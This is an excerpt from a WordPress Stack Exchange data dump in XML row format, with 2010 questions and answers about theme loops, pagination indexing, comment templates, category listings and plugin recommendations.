  <row Id="3172" PostTypeId="2" ParentId="3170" CreationDate="2010-10-22T02:11:33.527" Score="2" ViewCount="" Body="&lt;p&gt;The way I retrieve posts on my blog is to use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $recentPosts = new WP_Query(); $recentPosts-&amp;gt;query('showposts=5&amp;amp;cat=CAT_ID_GOES_HERE'); while($recentPosts-&amp;gt;have_posts()): $recentPosts-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you would go and create the code to control the display of each post. So for a really simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1 class=&quot;title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then at the end of the posts you just have to end your while loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1333" LastActivityDate="2010-10-22T02:11:33.527" CommentCount="3" />
  <row Id="3173" PostTypeId="2" ParentId="3159" CreationDate="2010-10-22T03:57:25.080" Score="3" ViewCount="" Body="&lt;p&gt;Woo (the makers of WooThemes) announced their integration with shopify recently, from the looks of it... &lt;a href=&quot;http://themes.shopify.com/themes/air/styles/air&quot; rel=&quot;nofollow&quot;&gt;http://themes.shopify.com/themes/air/styles/air&lt;/a&gt; would do what you want.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would look into hosting the shop at Shopify, and seeing if your base website can be wordpress. Woo has announced that they're working on a e-commerce framework as well, but until that gets released, this may work for you?&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-10-22T03:57:25.080" />
  <row Id="3174" PostTypeId="2" ParentId="2912" CreationDate="2010-10-22T04:10:41.437" Score="0" ViewCount="" Body="&lt;p&gt;It's not possible to do this in the free-hosted version of WP, but I did find a good-enough solution. I added a page and called it &quot;blog.html&quot;. The system insisted on setting it up as &lt;a href=&quot;http://neilfein.com/blog-html-2/&quot; rel=&quot;nofollow&quot;&gt;http://neilfein.com/blog-html-2/&lt;/a&gt;. Apparently that's close enough; when you follow &lt;a href=&quot;http://neilfein.com/blog.html&quot; rel=&quot;nofollow&quot;&gt;http://neilfein.com/blog.html&lt;/a&gt;, it takes you to the page I created, which has a link users can click on to get to the main page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardly elegant, but not many users have the old link anyway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I find a better way, I'll update this question. &lt;/p&gt;&#xA;" OwnerUserId="1243" LastActivityDate="2010-10-22T04:10:41.437" />
  <row Id="3176" PostTypeId="2" ParentId="3155" CreationDate="2010-10-22T05:30:26.047" Score="2" ViewCount="" Body="&lt;p&gt;Quick search shows that &lt;a href=&quot;http://wordpress.org/support/topic/plugin-google-xml-sitemaps-early-testers-wanted&quot; rel=&quot;nofollow&quot;&gt;next major update of Google XML Sitemaps plugin will have index-based sitemap&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall sitemap is not a guarantee that site will be crawled and I'd also look into other ways to improve (better and more extensive navigation, more internal links, etc).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-22T05:30:26.047" />
  <row Id="3177" PostTypeId="2" ParentId="3156" CreationDate="2010-10-22T05:37:21.387" Score="0" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://wordpress.org/extend/plugins/widgets-reloaded/&quot; rel=&quot;nofollow&quot;&gt;Widgets Reloaded&lt;/a&gt; plugin. It replicates native WP widgets, but gives more control over setup and argument of internal functions.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-22T05:37:21.387" />
  <row Id="3178" PostTypeId="2" ParentId="3170" CreationDate="2010-10-22T06:01:28.137" Score="1" ViewCount="" Body="&lt;p&gt;Just to be sure - you are not using &lt;code&gt;Reading&lt;/code&gt; settings at all here? Just regular home page and regular static page?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;your &lt;code&gt;News&lt;/code&gt; page is static page so its Loop (native WP Loop created from URL) should reflect that (so not sure how it seems to be category);&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;query_posts()&lt;/code&gt; is function meant to adjust such native Loop. You shouldn't use it here, because you would be trying to forcefully change static page into index page which ends up in horrible bugs.&lt;/li&gt;&#xA;&lt;li&gt;you can use custom &lt;code&gt;WP_Query&lt;/code&gt; or &lt;code&gt;get_posts()&lt;/code&gt; to display some posts on static page, bu likely you won't get pagination to work.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Overall I feel like you are reinventing the wheel here. &lt;code&gt;Settings &amp;gt; Reading&lt;/code&gt; seems like a perfect match.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;Front page&lt;/code&gt; with your static content and &lt;code&gt;front-page.php&lt;/code&gt; template.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Posts page&lt;/code&gt; that will automatically use default Loop for latest posts or can be customized with &lt;code&gt;home.php&lt;/code&gt; template.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This seems exactly like what you are trying to get, no?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS TwentyTen &lt;code&gt;loop.php&lt;/code&gt; scares me. It looks like usability and common sense were sacrificed for maximum conditional flexibility.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-22T06:01:28.137" CommentCount="1" />
  <row Id="3179" PostTypeId="1" CreationDate="2010-10-22T06:35:22.337" Score="1" ViewCount="158" Body="&lt;p&gt;Do you know how to prevent indexing of pages past the home page in WP?&#xA;I mean I don't want &lt;code&gt;mysite.com/page/2&lt;/code&gt;, &lt;code&gt;mysite.com/page/3&lt;/code&gt; to be indexed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because I use &lt;code&gt;home.php&lt;/code&gt; for my theme, so that &lt;code&gt;page/2&lt;/code&gt;, &lt;code&gt;page/3&lt;/code&gt;&#xA;are all the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please give me a hint or a code snippet please, I don't want to add another plugin (robots meta).&lt;/p&gt;&#xA;" OwnerUserId="1349" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-22T06:39:30.050" LastActivityDate="2011-01-29T21:17:13.053" Title="Preventing Search Engines Indexing Pages 2, 3 and More?" Tags="&lt;3.0&gt;&lt;robots&gt;&lt;search-engines&gt;&lt;noindex&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" />
  <row Id="3180" PostTypeId="1" AcceptedAnswerId="3182" CreationDate="2010-10-22T06:36:55.237" Score="1" ViewCount="144" Body="&lt;p&gt;I have a site where posts get created and expired often. I want to add 410 status code to all posts that expire so that Search Engines remove them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know if wordpress provides a provision to do this? or is this possible at all? Any suggestions how to achieve this would be very helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1348" LastActivityDate="2010-10-22T08:23:06.227" Title="Make posts 410 dynamically" Tags="&lt;redirect&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="3181" PostTypeId="2" ParentId="3179" CreationDate="2010-10-22T07:48:02.207" Score="0" ViewCount="" Body="&lt;p&gt;If you're trying to prevent duplicate content you should look at the root of the problem. You state that your homepage is using a home.php template, does this include some static text which you're passing to all others pages using the home template? If this is the case either remove it or create a unique home template, which in all honestly should be home.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if for whatever reason you want to keep the pages that display the same content as your homepage but using a different URL you can always resort to canonicals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you replace the content of your header.php with the following you can specify different headers, one that'll include a canonical that and those that wont.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (is_page('1')){&#xA;    &amp;lt;?php include(TEMPLATEPATH.'/header1.php'); ?&amp;gt;&#xA;}&#xA;elseif (is_page('2')){&#xA;    &amp;lt;?php include(TEMPLATEPATH.'/header2.php'); ?&amp;gt;&#xA;}&#xA;else {&#xA;    &amp;lt;?php include(TEMPLATEPATH.'/headerdefault.php'); ?&amp;gt;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And than you just make sure that you include the canonical which refers to your homepage&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;canonical&quot; href=&quot;http://www.yourdomain.com/&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will tell Google what is the appropriate URL to the content it's viewing without resorting to using a Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way this all seems a bit weird and I fear that I am just misunderstanding your request as it doesn't seem to make sense. Are you aware of how duplicate content works? Or is it me who should be heading back to bed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fail to see the purpose to willingly creating new pages that contain the same content and than looking for a solution to prevent duplicate content.&lt;/p&gt;&#xA;" OwnerUserId="706" LastEditorUserId="706" LastEditorDisplayName="" LastEditDate="2010-10-22T07:54:56.873" LastActivityDate="2010-10-22T07:54:56.873" />
  <row Id="3182" PostTypeId="2" ParentId="3180" CreationDate="2010-10-22T08:23:06.227" Score="1" ViewCount="" Body="&lt;p&gt;Just did some testing and seems there is a bug here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Newly created draft posts are not accessible on front-end. Search bot (or anyone else not logged in and using special preview URL) gets 404 error on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you publish and change back to draft then post remains available by direct link (does get removed from index).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason I would stay away from using draft for this purpose. I would try to use custom field to mark post as expired and filter &lt;code&gt;the_content&lt;/code&gt; to show informational message and set headers with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/status_header&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;status_header()&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-22T08:23:06.227" CommentCount="2" />
  <row Id="3183" PostTypeId="2" ParentId="3179" CreationDate="2010-10-22T08:28:10.163" Score="2" ViewCount="" Body="&lt;p&gt;How exactly are you setting up your home page? I think the problem is with it having unwanted pagination in first place and not that pagination being indexed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general &lt;code&gt;robots.txt&lt;/code&gt; file is good way to prevent indexing in bulk. I think it would be following directive in your case (please test it so it doesn't affec pagination in other places):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;Disallow: /page/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-22T08:28:10.163" CommentCount="7" />
  <row Id="3184" PostTypeId="1" AcceptedAnswerId="3581" CreationDate="2010-10-22T09:47:59.363" Score="2" ViewCount="279" Body="&lt;p&gt;having trouble educating clients to compress their images, and would quite like wordpress to compress images to predefined size (normally, 800px long edge, 72dpi) and discard the original&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-11-03T02:05:55.790" Title="Can images be automatically compressed?" Tags="&lt;images&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="3185" PostTypeId="1" AcceptedAnswerId="3187" CreationDate="2010-10-22T09:58:59.510" Score="0" ViewCount="240" Body="&lt;p&gt;I am trying to make a custom Category Display on my side bar and for that I need some way to get both, the category list and the child list in 2 different array or something alike...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First try was with the function get_categories but it goes not allow me to gather top level categories only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args=array('orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'ASC');&#xA;$categories=get_categories($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I moved to wp_list_categories which does what I want but the return does not give me an array of data that I can query it gives me a simple html formated list ready to print out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories=wp_list_categories('echo=0&amp;amp;style=none&amp;amp;orderby=name&amp;amp;order=ASC&amp;amp;depth=1&amp;amp;title_li=');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way to gather the top&#xA;level categories list in a way I can&#xA;personalize it as I wish ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($category_list as $category) {&#xA;    echo ' &amp;lt;li&amp;gt;';&#xA;    echo '  &amp;lt;a title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;cat_name ) . '&quot; href=&quot;' . get_category_link($category-&amp;gt;cat_ID) . '&quot;&amp;gt;' . $category-&amp;gt;cat_name . ' (' . $category-&amp;gt;cat_ID .') &amp;lt;/a&amp;gt;';&#xA;    echo '  &amp;lt;a onclick=&quot;s_toggleDisplay(document.getElementById(\'CHILD CATS\'), this, \'▼\', \'▲\');&quot; href=&quot;javascript:void(null);&quot;&amp;gt;▼&amp;lt;/a&amp;gt;';&#xA;    echo ' &amp;lt;/li&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why do I want the top level only ? because I wanted to make a show/hide function for the childrens of the top level category if you have another way to acomplish this or suggestion, let me know.&lt;/p&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2010-10-22T10:20:01.163" Title="Custom sidebar category listing?" Tags="&lt;3.0.1&gt;&lt;categories&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="3186" PostTypeId="2" ParentId="3147" CreationDate="2010-10-22T10:05:26.850" Score="1" ViewCount="" Body="&lt;p&gt;I have moved away from looking for a plugin and adventured myself into making my own modifications, see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3185/custom-sidebar-category-listing&quot;&gt;http://wordpress.stackexchange.com/questions/3185/custom-sidebar-category-listing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards my question here I have found the follow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes, it is possible to limit the amount of items listed on the category by setting the number argument that can be used with &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;wp_list_categories&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;get_categories&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;A personalized menu can be create with only the categories you wish to allow on it on the Menu that code can be re-used on the sidebar, only problem is that it will be manually updated/controlled.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2010-10-22T10:05:26.850" />
  <row Id="3187" PostTypeId="2" ParentId="3185" CreationDate="2010-10-22T10:20:01.163" Score="1" ViewCount="" Body="&lt;p&gt;You can skip categories that have parent in your loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($category_list as $category) {&#xA;&#xA;if( '0' != $category-&amp;gt;parent )&#xA;    continue;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've looked through source, but it seems &lt;code&gt;depth&lt;/code&gt; is only taken in account in &lt;code&gt;wp_list_categories()&lt;/code&gt; and you will probably need to extend &lt;code&gt;Walker_Category&lt;/code&gt; class to custom walker there to make changes to output. Which actually might be a good idea if you need a really complex categories output.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-22T10:20:01.163" CommentCount="1" />
  <row Id="3188" PostTypeId="1" AcceptedAnswerId="3189" CreationDate="2010-10-22T11:36:46.177" Score="1" ViewCount="70" Body="&lt;p&gt;Considering &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3136/how-often-is-functions-php-loaded&quot;&gt;how often functions.php&lt;/a&gt; is called, shouldn't all of its contents be hooked or filtered into core WP functions like init?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-10-22T11:40:51.830" Title="Should everything in functions.php be hooked or filtered?" Tags="&lt;functions&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="3189" PostTypeId="2" ParentId="3188" CreationDate="2010-10-22T11:40:51.830" Score="3" ViewCount="" Body="&lt;p&gt;It can be used for much about anything that requires php...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd only use hooks if you don't want to execute the php logic immediately. This is usually the case, but not always.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, you'd typically use the WP API. But not always either...&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-22T11:40:51.830" CommentCount="3" />
  <row Id="3190" PostTypeId="2" ParentId="3141" CreationDate="2010-10-22T12:47:01.543" Score="1" ViewCount="" Body="&lt;p&gt;By default, WP_Query will only load comments WITH THE QUERY if you're&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;looking at a comments feed, or&lt;/li&gt;&#xA;&lt;li&gt;looking at a &lt;code&gt;singular&lt;/code&gt; item.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your query wouldn't automatically pull in the comments because, as a category listing (even though there's only one) it doesn't count as 'singular'. Fortunately, there's a way around this. Basically, before you pull in the comments template, you should fetch the comments and put them into the query object you're using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $pr_q = &quot;cat=11&amp;amp;posts_per_page=1&quot;; $pregunta_q = new WP_Query($pr_q); ?&amp;gt;&#xA;&amp;lt;?php while ($pregunta_q-&amp;gt;have_posts()) : $pregunta_q-&amp;gt;the_post(); ?&amp;gt;&#xA;  &amp;lt;!-- post stuff before comments here --&amp;gt;&#xA;  $comments = get_comments( array(&#xA;    'post_id' =&amp;gt; $post-&amp;gt;ID,&#xA;    'orderby' =&amp;gt; 'comment_date_gmt',&#xA;    'status' =&amp;gt; 'approve',&#xA;  ) );&#xA;  if(!empty($comments)){&#xA;    $pregunta_q-&amp;gt;comments = $comments;&#xA;    $pregunta_q-&amp;gt;comment_count = count($comments);&#xA;  }&#xA;  &amp;lt;!-- comment stuff here --&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-22T12:47:01.543" />
  <row Id="3191" PostTypeId="2" ParentId="3184" CreationDate="2010-10-22T12:51:14.517" Score="3" ViewCount="" Body="&lt;p&gt;Tried this plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/auto-image-resizer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/auto-image-resizer/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-22T12:51:14.517" />
  <row Id="3192" PostTypeId="2" ParentId="3125" CreationDate="2010-10-22T12:52:51.347" Score="0" ViewCount="" Body="&lt;p&gt;I had to modify bangbambang's answer to get this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'reflush_rules');&#xA;function reflush_rules() {&#xA;$pagenow = $_SERVER['SCRIPT_NAME'];&#xA;if ( is_admin() &amp;amp;&amp;amp; isset($_GET['activated'] ) &amp;amp;&amp;amp; $pagenow == &quot;/wp-admin/themes.php&quot; ) {&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-10-22T12:52:51.347" />
  <row Id="3193" PostTypeId="2" ParentId="3141" CreationDate="2010-10-22T13:25:53.293" Score="2" ViewCount="" Body="&lt;p&gt;To be able to use the comments template in your loops, add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $withcomments; $withcomments = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-22T13:25:53.293" CommentCount="2" />
  <row Id="3195" PostTypeId="2" ParentId="1770" CreationDate="2010-10-22T15:01:45.040" Score="1" ViewCount="" Body="&lt;p&gt;I think I've had this problem before, but I can't remember exactly how I fixed it. Check a few things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Did you recently or ever make a template/theme file called home.php? That can mess up wordpress because it thinks home means blog home not what you're thinking of as home. If you need a template for your home page you should call it homePage.php or homeTemplate.php etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your dashboard check in Settings &gt; Reading and look if you're set to &quot;static page&quot; that the correct pages are set as home page and posts page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check that your .htaccess file is writable and that the following is in it, also try turning off permalinks and see if that's the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And last but not least, uninstall plugins and check if that fixes it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1352" LastEditorUserId="1352" LastEditorDisplayName="" LastEditDate="2010-10-22T15:09:51.790" LastActivityDate="2010-10-22T15:09:51.790" />
  <row Id="3196" PostTypeId="1" AcceptedAnswerId="3199" CreationDate="2010-10-22T15:27:57.627" Score="3" ViewCount="580" Body="&lt;p&gt;How can I attach images to a post which have already been attached to other posts without having to upload them twice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to insert the images into the post, I simply want to attach the same set of images to multiple posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of WP.3.0.1 it does not appear that this is possible, however, if the &quot;Media Library&quot; tab of the &quot;Insert Image&quot; wizard had a column labeled &quot;Attach&quot; with a checkbox next to each image in the media library, this could be easily done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How difficult a task would it be to add this functionality?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-10-24T16:00:15.857" Title="Possible to &quot;Attach&quot; images to multiple posts without inserting or uploading twice?" Tags="&lt;theme-development&gt;&lt;media&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="3197" PostTypeId="2" ParentId="715" CreationDate="2010-10-22T15:46:51.593" Score="4" ViewCount="" Body="&lt;h1&gt;Care about future WordPress &amp;amp; theme versions&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Check if functions are deprecated&lt;/strong&gt; directly in your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a &quot;could be like that&quot; example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists( 'wp_some_fn' ) ) &#xA;{&#xA;    wp_some_fn();&#xA;} &#xA;else &#xA;{ &#xA;    $error = sprintf( __( 'The function %1$s is deprecated. Please inform the author', TEXTDOMAIN ), 'wp_some_fn()' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For proper/best practice error handling see this answer: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/797#797&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could drop even the $cause into the function. This will help you and your users to keep on track with functions or classes in your theme that might change.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-03T15:12:11.657" LastActivityDate="2011-05-03T15:12:11.657" CommunityOwnedDate="2010-10-22T15:46:51.593" />
  <row Id="3198" PostTypeId="1" CreationDate="2010-10-22T16:13:56.137" Score="0" ViewCount="133" Body="&lt;p&gt;when we press &quot;Publish&quot; button in wordpress for a article. than along with wordpress , that article's reference link should be posted automatically to twitter, linkedin and Facebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make this possible?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditorDisplayName="" LastEditDate="2010-12-20T17:57:17.843" LastActivityDate="2010-12-20T20:43:11.187" Title="How to post WP article on social sites along with publish?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;plugin-recommendation&gt;" AnswerCount="3" />
  <row Id="3199" PostTypeId="2" ParentId="3196" CreationDate="2010-10-22T16:27:52.537" Score="2" ViewCount="" Body="&lt;p&gt;As you've noted it's not possible out of the box. The feature was supposed to make it into 2.9, got postponed until 3.2, and assuming they reject the post2post table mike and I crave for it'll probably be postponed again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have better luck creating a custom taxonomy in the meanwhile, and &quot;tagging&quot; images tied to this or that post accordingly. That'll give you an n-n relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for difficulty, I'd say not easy. Adding extra fields in the media upload/insert screens, in so far as I've experienced it (i.e. a huge media plugin) is a bloody mess.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-22T16:27:52.537" />
  <row Id="3200" PostTypeId="1" AcceptedAnswerId="3201" CreationDate="2010-10-22T16:32:18.683" Score="2" ViewCount="455" Body="&lt;p&gt;In an effort to combat comment spam, I'd like to hide or remove the &lt;em&gt;&quot;Website&quot;&lt;/em&gt; field from the &lt;em&gt;&quot;Leave a Reply&quot;&lt;/em&gt; section for page and site comments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no desire to increase others page rankings by having them embed their URLs in my sites comments, which seems to be what 99% of the comments on my site are wanting to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the Twenty Ten theme if that makes any difference in the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-23T10:07:14.677" LastActivityDate="2011-08-28T17:44:42.110" Title="Removing the &quot;Website&quot; Field from Comments and Replies?" Tags="&lt;comments&gt;&lt;spam&gt;&lt;comment-form&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="3201" PostTypeId="2" ParentId="3200" CreationDate="2010-10-22T16:40:45.207" Score="6" ViewCount="" Body="&lt;p&gt;Create a file in &lt;code&gt;wp-content/plugins/&lt;/code&gt; with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Get Rid of Comment Websites&#xA;*/&#xA;function my_custom_comment_fields( $fields ){&#xA;  if(isset($fields['url']))&#xA;    unset($fields['url']);&#xA;  return $fields;&#xA;}&#xA;&#xA;add_filter( 'comment_form_default_fields', 'my_custom_comment_fields' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally, I'd say put it into your theme's functions.php file, but I wouldn't recommend doing that for a theme that could update like Twenty Ten. This way will let you add this functionality as a plugin which can be disabled.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-22T16:40:45.207" CommentCount="4" />
  <row Id="3202" PostTypeId="2" ParentId="3198" CreationDate="2010-10-22T17:37:45.820" Score="2" ViewCount="" Body="&lt;p&gt;You can do it with a combination of this plugin and a ping.fm account:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/pingpressfm/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/pingpressfm/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1333" LastActivityDate="2010-10-22T17:37:45.820" CommentCount="2" />
  <row Id="3203" PostTypeId="1" AcceptedAnswerId="3204" CreationDate="2010-10-22T18:33:06.967" Score="1" ViewCount="430" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; Title was originally &quot;What are all the variables in the wordpress post object?&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know the variables that are stored in the WordPress Post object?&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-23T09:41:20.447" LastActivityDate="2010-10-23T09:41:20.447" Title="What are all the Properties of the WordPress Post Object?" Tags="&lt;variables&gt;" AnswerCount="2" />
